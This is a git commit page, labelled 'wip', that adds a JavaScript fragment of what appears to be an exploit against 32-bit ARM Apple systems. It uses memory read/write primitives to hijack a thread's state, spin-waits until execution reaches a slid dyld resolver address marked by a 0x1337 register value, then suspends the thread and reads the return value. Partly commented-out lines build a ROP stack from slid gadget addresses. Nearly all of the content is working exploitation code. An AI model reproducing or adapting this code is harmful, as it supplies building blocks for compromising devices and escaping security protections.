summaryrefslogtreecommitdiff
path: root/old111.js
diff options
context:
space:
mode:
authorspv <aquaticvegetable@gmail.com>2022-05-08 16:20:09 -0400
committerspv <aquaticvegetable@gmail.com>2022-05-08 16:20:09 -0400
commit6181acb12524b30ddfb7eb75840d1de4ca2ca4b0 (patch)
tree53d729b5b34cd7facc387b8bda16aae0a8ba3d40 /old111.js
parent41a1e7292997c84643202f3d27a4daa4b02197e4 (diff)
wip
Diffstat (limited to 'old111.js')
-rw-r--r--old111.js43
1 files changed, 43 insertions, 0 deletions
diff --git a/old111.js b/old111.js
new file mode 100644
index 0000000..7b77a72
--- /dev/null
+++ b/old111.js
@@ -0,0 +1,43 @@
+// write_u32(thread_state + (14 << 2), __stack_chk_fail_resolver + dyld_shc_slide);
+// printf("\t\t%x %x\n", pthread_ret, read_u32(pthread_ret));
+
+
+ /*
+ * spin wait for return
+ */
+ while (true) {
+ /*
+ * reset, it's used as input for thread_state size
+ */
+ write_u32(count, 17);
+ calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count);
+
+ /*
+ * if the pc is in (resolver, resolver + 8), suspend the thread
+ * (to not spin endlessly), read r0 and return
+ */
+ if (((read_u32(thread_state + (15 << 2)) - (__stack_chk_fail_resolver + dyld_shc_slide)) <= 8) && (read_u32(thread_state + (11 << 2)) == 0x1337)) {
+ calls4arg("thread_suspend", rth, 0, 0, 0);
+ return read_u32(thread_state);
+ }
+
+// calls4arg("usleep", 1000, 0, 0, 0);
+ }
+
+ /*
+ write_u32(stack_shit + i_, 0x0); i_ += 4;
+ write_u32(stack_shit + i_, 0x0); i_ += 4;
+ write_u32(stack_shit + i_, 0x0); i_ += 4;
+ write_u32(stack_shit + i_, 0x130000); i_ += 4;
+ write_u32(stack_shit + i_, 0x0); i_ += 4;
+ write_u32(stack_shit + i_, 0x0); i_ += 4;
+ write_u32(stack_shit + i_, 0x0); i_ += 4;
+ write_u32(stack_shit + i_, str_r0_r4 + slid); i_ += 4;*/
+
+// write_u32(stack_shit + i_, 0x0); i_ += 4;
+// write_u32(stack_shit + i_, 0x0); i_ += 4;
+// write_u32(stack_shit + i_, 0x0); i_ += 4;
+// write_u32(stack_shit + i_, 0x0); i_ += 4;
+// write_u32(stack_shit + i_, 0x0); i_ += 4;
+// write_u32(stack_shit + i_, 0x0); i_ += 4;
+// write_u32(stack_shit + i_, 0x0); i_ += 4; \ No newline at end of file